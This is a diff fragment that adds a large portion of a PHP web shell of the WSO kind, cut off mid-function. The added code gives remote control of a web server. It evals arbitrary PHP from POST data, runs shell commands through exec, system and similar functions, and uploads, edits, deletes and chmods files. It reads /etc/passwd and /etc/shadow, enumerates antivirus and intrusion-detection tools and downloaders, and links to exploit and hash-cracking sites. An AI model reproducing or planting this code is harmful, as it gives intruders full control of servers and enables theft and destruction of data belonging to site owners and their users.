+ req = new ActiveXObject('Microsoft.XMLHTTP'); + if (req) { + req.onreadystatechange = processReqChange; + req.open('POST', url, true); + req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded'); + req.send(params); + } + } + function processReqChange() { + if( (req.readyState == 4) ) + if(req.status == 200) { + var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm'); + var arr=reg.exec(req.responseText); + eval(arr[2].substr(0, arr[1])); + } else alert('Request error!'); + } +</script> +<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'> +<form method=post name=mf style='display:none;'> +<input type=hidden name=a> +<input type=hidden name=c> +<input type=hidden name=p1> +<input type=hidden name=p2> +<input type=hidden name=p3> +<input type=hidden name=charset> +</form>"; + $freeSpace = @diskfreespace($GLOBALS['cwd']); + $totalSpace = @disk_total_space($GLOBALS['cwd']); + $totalSpace = $totalSpace?$totalSpace:1; + $release = @php_uname('r'); + $kernel = @php_uname('s'); + $explink = 'http://exploit-db.com/list.php?description='; + if(strpos('Linux', $kernel) !== false) + $explink .= urlencode('Linux Kernel ' . substr($release,0,6)); + else + $explink .= urlencode($kernel . ' ' . substr($release,0,3)); + if(!function_exists('posix_getegid')) { + $user = @get_current_user(); + $uid = @getmyuid(); + $gid = @getmygid(); + $group = "?"; + } else { + $uid = @posix_getpwuid(posix_geteuid()); + $gid = @posix_getgrgid(posix_getegid()); + $user = $uid['name']; + $uid = $uid['uid']; + $group = $gid['name']; + $gid = $gid['gid']; + } + + $cwd_links = ''; + $path = explode("/", $GLOBALS['cwd']); + $n=count($path); + for($i=0; $i<$n-1; $i++) { + $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\""; + for($j=0; $j<=$i; $j++) + $cwd_links .= $path[$j].'/'; + $cwd_links .= "\")'>".$path[$i]."/</a>"; + } + + $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866'); + $opt_charsets = ''; + foreach($charsets as $item) + $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>'; + + $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network'); + if(!empty($GLOBALS['auth_pass'])) + $m['Logout'] = 'Logout'; + $m['Self remove'] = 'SelfRemove'; + $menu = ''; + foreach($m as $k => $v) + $menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>'; + + $drives = ""; + if($GLOBALS['os'] == 'win') { + foreach(range('c','z') as $drive) + if(is_dir($drive.':\\')) + $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> '; + } + echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>' + . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=#00bb00><b>OFF</b></font>') + . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>' + . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>' + . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">'; +} + +function wsoFooter() { + $is_writable = is_writable($GLOBALS['cwd'])?" <font color='#25ff00'>(Writeable)</font>":" <font color=red>(Not writable)</font>"; + echo " +</div> +<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'> + <tr> + <td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td> + <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td> + </tr><tr> + <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td> + <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td> + </tr><tr> + <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td> + <td><form method='post' ENCTYPE='multipart/form-data'> + <input type=hidden name=a value='FilesMAn'> + <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'> + <input type=hidden name=p1 value='uploadFile'> + <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'> + <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td> + </tr></table></div></body></html>"; +} + +if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) { + function posix_getpwuid($p) {return false;} } +if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) { + function posix_getgrgid($p) {return false;} } + +function wsoEx($in) { + $out = ''; + if (function_exists('exec')) { + @exec($in,$out); + $out = @join("\n",$out); + } elseif (function_exists('passthru')) { + ob_start(); + @passthru($in); + $out = ob_get_clean(); + } elseif (function_exists('system')) { + ob_start(); + @system($in); + $out = ob_get_clean(); + } elseif (function_exists('shell_exec')) { + $out = shell_exec($in); + } elseif (is_resource($f = @popen($in,"r"))) { + $out = ""; + while(!@feof($f)) + $out .= fread($f,1024); + pclose($f); + } + return $out; +} +function wsoViewSize($s) { + if($s >= 1073741824) + return sprintf('%1.2f', $s / 1073741824 ). ' GB'; + elseif($s >= 1048576) + return sprintf('%1.2f', $s / 1048576 ) . ' MB'; + elseif($s >= 1024) + return sprintf('%1.2f', $s / 1024 ) . ' KB'; + else + return $s . ' B'; +} + +function wsoPerms($p) { + if (($p & 0xC000) == 0xC000)$i = 's'; + elseif (($p & 0xA000) == 0xA000)$i = 'l'; + elseif (($p & 0x8000) == 0x8000)$i = '-'; + elseif (($p & 0x6000) == 0x6000)$i = 'b'; + elseif (($p & 0x4000) == 0x4000)$i = 'd'; + elseif (($p & 0x2000) == 0x2000)$i = 'c'; + elseif (($p & 0x1000) == 0x1000)$i = 'p'; + else $i = 'u'; + $i .= (($p & 0x0100) ? 'r' : '-'); + $i .= (($p & 0x0080) ? 'w' : '-'); + $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-')); + $i .= (($p & 0x0020) ? 'r' : '-'); + $i .= (($p & 0x0010) ? 'w' : '-'); + $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-')); + $i .= (($p & 0x0004) ? 'r' : '-'); + $i .= (($p & 0x0002) ? 'w' : '-'); + $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-')); + return $i; +} + +function wsoPermsColor($f) { + if (!@is_readable($f)) + return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>'; + elseif (!@is_writable($f)) + return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>'; + else + return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>'; +} + +if(!function_exists("scandir")) { + function scandir($dir) { + $dh = opendir($dir); + while (false !== ($filename = readdir($dh))) + $files[] = $filename; + return $files; + } +} + +function wsoWhich($p) { + $path = wsoEx('which ' . $p); + if(!empty($path)) + return $path; + return false; +} + +function actionSecInfo() { + wsoHeader(); + echo '<h1>Server security information</h1><div class=content>'; + function wsoSecParam($n, $v) { + $v = trim($v); + if($v) { + echo '<span>' . $n . ': </span>'; + if(strpos($v, "\n") === false) + echo $v . '<br>'; + else + echo '<pre class=ml1>' . $v . '</pre>'; + } + } + + wsoSecParam('Server software', @getenv('SERVER_SOFTWARE')); + if(function_exists('apache_get_modules')) + wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules())); + wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none'); + wsoSecParam('Open base dir', @ini_get('open_basedir')); + wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir')); + wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir')); + wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no'); + $temp=array(); + if(function_exists('mysql_get_client_info')) + $temp[] = "MySql (".mysql_get_client_info().")"; + if(function_exists('mssql_connect')) + $temp[] = "MSSQL"; + if(function_exists('pg_connect')) + $temp[] = "PostgreSQL"; + if(function_exists('oci_connect')) + $temp[] = "Oracle"; + wsoSecParam('Supported databases', implode(', ', $temp)); + echo '<br>'; + + if($GLOBALS['os'] == 'nix') { + wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no'); + wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no'); + wsoSecParam('OS version', @file_get_contents('/proc/version')); + wsoSecParam('Distr name', @file_get_contents('/etc/issue.net')); + if(!$GLOBALS['safe_mode']) { + $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl'); + $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja'); + $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror'); + echo '<br>'; + $temp=array(); + foreach ($userful as $item) + if(wsoWhich($item)) + $temp[] = $item; + wsoSecParam('Userful', implode(', ',$temp)); + $temp=array(); + foreach ($danger as $item) + if(wsoWhich($item)) + $temp[] = $item; + wsoSecParam('Danger', implode(', ',$temp)); + $temp=array(); + foreach ($downloaders as $item) + if(wsoWhich($item)) + $temp[] = $item; + wsoSecParam('Downloaders', implode(', ',$temp)); + echo '<br/>'; + wsoSecParam('HDD space', wsoEx('df -h')); + wsoSecParam('Hosts', @file_get_contents('/etc/hosts')); + } + } else { + wsoSecParam('OS Version',wsoEx('ver')); + wsoSecParam('Account Settings',wsoEx('net accounts')); + wsoSecParam('User Accounts',wsoEx('net user')); + } + echo '</div>'; + wsoFooter(); +} + +function actionPhp() { + if(isset($_POST['ajax'])) { + $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = true; + ob_start(); + eval($_POST['p1']); + $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n"; + echo strlen($temp), "\n", $temp; + exit; + } + wsoHeader(); + if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) { + echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>'; + ob_start(); + phpinfo(); + $tmp = ob_get_clean(); + $tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp); + $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp); + echo str_replace('<h1','<h2', $tmp) .'</div><br>'; + } + if(empty($_POST['ajax']) && !empty($_POST['p1'])) + $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false; + echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">'; + echo ' <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>'; + if(!empty($_POST['p1'])) { + ob_start(); + eval($_POST['p1']); + echo htmlspecialchars(ob_get_clean()); + } + echo '</pre></div>'; + wsoFooter(); +} + +function actionFilesMan() { + wsoHeader(); + echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>'; + if(!empty($_POST['p1'])) { + switch($_POST['p1']) { + case 'uploadFile': + if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name'])) + echo "Can't upload file!"; + break; + case 'mkdir': + if(!@mkdir($_POST['p2'])) + echo "Can't create new dir"; + break; + case 'delete': + function deleteDir($path) { + $path = (substr($path,-1)=='/') ? $path:$path.'/'; + $dh = opendir($path); + while ( ($item = readdir($dh) ) !== false) { + $item = $path.$item; + if ( (basename($item) == "..") || (basename($item) == ".") ) + continue; + $type = filetype($item); + if ($type == "dir") + deleteDir($item); + else + @unlink($item); + } + closedir($dh); + @rmdir($path); + } + if(is_array(@$_POST['f'])) + foreach($_POST['f'] as $f) { + if($f == '..') + continue; + $f = urldecode($f); + if(is_dir($f)) + deleteDir($f); + else + @unlink($f); + } + break; + case 'paste': + if($_SESSION['act'] == 'copy') { + function copy_paste($c,$s,$d){ + if(is_dir($c.$s)){ + mkdir($d.$s); + $h = @opendir($c.$s); + while (($f = @readdir($h)) !== false) + if (($f != ".") and ($f != "..")) + copy_paste($c.$s.'/',$f, $d.$s.'/'); + } elseif(is_file($c.$s)) + @copy($c.$s, $d.$s); + } + foreach($_SESSION['f'] as $f) + copy_paste($_SESSION['c'],$f, $GLOBALS['cwd']); + } elseif($_SESSION['act'] == 'move') { + function move_paste($c,$s,$d){ + if(is_dir($c.$s)){ + mkdir($d.$s); + $h = @opendir($c.$s); + while (($f = @readdir($h)) !== false) + if (($f != ".") and ($f != "..")) + copy_paste($c.$s.'/',$f, $d.$s.'/'); + } elseif(@is_file($c.$s)) + @copy($c.$s, $d.$s); + } + foreach($_SESSION['f'] as $f) + @rename($_SESSION['c'].$f, $GLOBALS['cwd'].$f); + } elseif($_SESSION['act'] == 'zip') { + if(class_exists('ZipArchive')) { + $zip = new ZipArchive(); + if ($zip->open($_POST['p2'], 1)) { + chdir($_SESSION['c']); + foreach($_SESSION['f'] as $f) { + if($f == '..') + continue; + if(@is_file($_SESSION['c'].$f)) + $zip->addFile($_SESSION['c'].$f, $f); + elseif(@is_dir($_SESSION['c'].$f)) { + $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/')); + foreach ($iterator as $key=>$value) { + $zip->addFile(realpath($key), $key); + } + } + } + chdir($GLOBALS['cwd']); + $zip->close(); + } + } + } elseif($_SESSION['act'] == 'unzip') { + if(class_exists('ZipArchive')) { + $zip = new ZipArchive(); + foreach($_SESSION['f'] as $f) { + if($zip->open($_SESSION['c'].$f)) { + $zip->extractTo($GLOBALS['cwd']); + $zip->close(); + } + } + } + } elseif($_SESSION['act'] == 'tar') { + chdir($_SESSION['c']); + $_SESSION['f'] = array_map('escapeshellarg', $_SESSION['f']); + wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_SESSION['f'])); + chdir($GLOBALS['cwd']); + } + unset($_SESSION['f']); + break; + default: + if(!empty($_POST['p1'])) { + $_SESSION['act'] = @$_POST['p1']; + $_SESSION['f'] = @$_POST['f']; + foreach($_SESSION['f'] as $k => $f) + $_SESSION['f'][$k] = urldecode($f); + $_SESSION['c'] = @$_POST['c']; + } + break; + } + } + $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']); + if($dirContent === false) { echo 'Can\'t open this folder!';wsoFooter(); return; } + global $sort; + $sort = array('name', 1); + if(!empty($_POST['p1'])) { + if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match)) + $sort = array($match[1], (int)$match[2]); + } +echo "<script> + function sa() { + for(i=0;i<d.files.elements.length;i++) + if(d.files.elements[i].type == 'checkbox') + d.files.elements[i].checked = d.files.elements[0].checked; + } +</script> +<table width='100%' class='main' cellspacing='0' cellpadding='2'> +<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>"; + $dirs = $files = array(); + $n = count($dirContent); + for($i=0;$i<$n;$i++) { + $ow = @posix_getpwuid(@fileowner($dirContent[$i])); + $gr = @posix_getgrgid(@filegroup($dirContent[$i])); + $tmp = array('name' => $dirContent[$i], + 'path' => $GLOBALS['cwd'].$dirContent[$i], + 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])), + 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]), + 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]), + 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]), + 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i]) + ); + if(@is_file($GLOBALS['cwd'] . $dirContent[$i])) + $files[] = array_merge($tmp, array('type' => 'file')); + elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i])) + $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path']))); + elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i])&& ($dirContent[$i] != ".")) + $dirs[] = array_merge($tmp, array('type' => 'dir')); + } + $GLOBALS['sort'] = $sort; + function wsoCmp($a, $b) { + if($GLOBALS['sort'][0] != 'size') + return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1); + else + return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1); + } + usort($files, "wsoCmp"); + usort($dirs, "wsoCmp"); + $files = array_merge($dirs, $files); + $l = 0; + foreach($files as $f) { + echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" title=' . $f['link'] . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms'] + .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>'; + $l = $l?0:1; + } + echo "<tr><td colspan=7> + <input type=hidden name=a value='FilesMan'> + <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'> + <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'> + <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>"; + if(class_exists('ZipArchive')) + echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>"; + echo "<option value='tar'>Compress (tar.gz)</option>"; + if(!empty($_SESSION['act']) && @count($_SESSION['f'])) + echo "<option value='paste'>Paste / Compress</option>"; + echo "</select>&nbsp;"; + if(!empty($_SESSION['act']) && @count($_SESSION['f']) && (($_SESSION['act'] == 'zip') || ($_SESSION['act'] == 'tar'))) + echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_SESSION['act'] == 'zip'?'zip':'tar.gz') . "'>&nbsp;"; + echo "<input type='submit' value='>>'></td></tr></form></table></div>"; + wsoFooter(); +} + +function actionStringTools() { + if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}} + if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}} + if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}} + if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}} + if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}} + $stringTools = array( + 'Base64 encode' => 'base64_encode', + 'Base64 decode' => 'base64_decode', + 'Url encode' => 'urlencode', + 'Url decode' => 'urldecode', + 'Full urlencode' => 'full_urlencode', + 'md5 hash' => 'md5', + 'sha1 hash' => 'sha1', + 'crypt' => 'crypt', + 'CRC32' => 'crc32', + 'ASCII to HEX' => 'ascii2hex', + 'HEX to ASCII' => 'hex2ascii', + 'HEX to DEC' => 'hexdec', + 'HEX to BIN' => 'hex2bin', + 'DEC to HEX' => 'dechex', + 'DEC to BIN' => 'decbin', + 'BIN to HEX' => 'binhex', + 'BIN to DEC' => 'bindec', + 'String to lower case' => 'strtolower', + 'String to upper case' => 'strtoupper', + 'Htmlspecialchars' => 'htmlspecialchars', + 'String length' => 'strlen', + ); + if(isset($_POST['ajax'])) { + $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true; + ob_start(); + if(in_array($_POST['p1'], $stringTools)) + echo $_POST['p1']($_POST['p2']); + $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n"; + echo strlen($temp), "\n", $temp; + exit; + } + wsoHeader(); + echo '<h1>String conversions</h1><div class=content>'; + if(empty($_POST['ajax'])&&!empty($_POST['p1'])) + $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false; + echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>"; + foreach($stringTools as $k => $v) + echo "<option value='".htmlspecialchars($v)."'>".$k."</option>"; + echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>"; + if(!empty($_POST['p1'])) { + if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2'])); + } + echo"</pre></div><br><h1>Search text in files:</h1><div class=content> + <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'> + <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr> + <tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr> + <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr> + <tr><td></td><td><input type='submit' value='>>'></td></tr> + </table></form>"; + + function wsoRecursiveGlob($path) { + if(substr($path, -1) != '/') + $path.='/'; + $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR))); + if(is_array($paths)&&@count($paths)) { + foreach($paths as $item) { + if(@is_dir($item)){ + if($path!=$item) + wsoRecursiveGlob($item); + } else { + if(@strpos(@file_get_contents($item), @$_POST['p2'])!==false) + echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\")'>".htmlspecialchars($item)."</a><br>"; + } + } + } + } + if(@$_POST['p3']) + wsoRecursiveGlob($_POST['c']); + echo "</div><br><h1>Search for hash:</h1><div class=content> + <form method='post' target='_blank' name='hf'> + <input type='text' name='hash' style='width:200px;'><br> + <input type='button' value='hashcrack.com' onclick=\"document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()\"><br> + <input type='button' value='milw0rm.com' onclick=\"document.hf.action='http://www.milw0rm.com/cracker/search.php';document.hf.submit()\"><br> + <input type='button' value='hashcracking.info' onclick=\"document.hf.action='https://hashcracking.info/index.php';document.hf.submit()\"><br> + <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br> + <input type='button' value='md5decrypter.com' onclick=\"document.hf.action='http://www.md5decrypter.com/';document.hf.submit()\"><br> + </form></div>"; + wsoFooter(); +} + +function actionFilesTools() { + if( isset($_POST['p1']) ) + $_POST['p1'] = urldecode($_POST['p1']); + if(@$_POST['p2']=='download') { + if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) { + ob_start("ob_gzhandler", 4096); + header("Content-Disposition: attachment; filename=".basename($_POST['p1'])); + if (function_exists("mime_content_type")) { + $type = @mime_content_type($_POST['p1']); + header("Content-Type: " . $type); + } else + header("Content-Type: application/octet-stream"); + $fp = @fopen($_POST['p1'], "r"); + if($fp) { + while(!@feof($fp)) + echo @fread($fp, 1024); + fclose($fp); + } + }exit; + } + if( @$_POST['p2'] == 'mkfile' ) { + if(!file_exists($_POST['p1'])) { + $fp = @fopen($_POST['p1'], 'w'); + if($fp) { + $_POST['p2'] = "edit"; + fclose($fp); + } + } + } + wsoHeader(); + echo '<h1>File tools</h1><div class=content>'; + if( !file_exists(@$_POST['p1']) ) { + echo 'File not exists'; + wsoFooter(); + return; + } + $uid = @posix_getpwuid(@fileowner($_POST['p1'])); + if(!$uid) { + $uid['name'] = @fileowner($_POST['p1']); + $gid['name'] = @filegroup($_POST['p1']); + } else $gid = @posix_getgrgid(@filegroup($_POST['p1'])); + echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>'; + echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>'; + if( empty($_POST['p2']) ) + $_POST['p2'] = 'view'; + if( is_file($_POST['p1']) ) + $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch'); + else + $m = array('Chmod', 'Rename', 'Touch'); + foreach($m as $v) + echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> '; + echo '<br><br>'; + switch($_POST['p2']) { + case 'view': + echo '<pre class=ml1>'; + $fp = @fopen($_POST['p1'], 'r'); + if($fp) { + while( !@feof($fp) ) + echo htmlspecialchars(@fread($fp, 1024)); + @fclose($fp); + } + echo '</pre>'; + break; + case 'highlight': + if( @is_readable($_POST['p1']) ) { + echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">'; + $code = @highlight_file($_POST['p1'],true); + echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>'; + } + break; + case 'chmod': + if( !empty($_POST['p3']) ) { + $perms = 0; + for($i=strlen($_POST['p3'])-1;$i>=0;--$i) + $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1)); + if(!@chmod($_POST['p1'], $perms)) + echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>'; + } + clearstatcache(); + echo 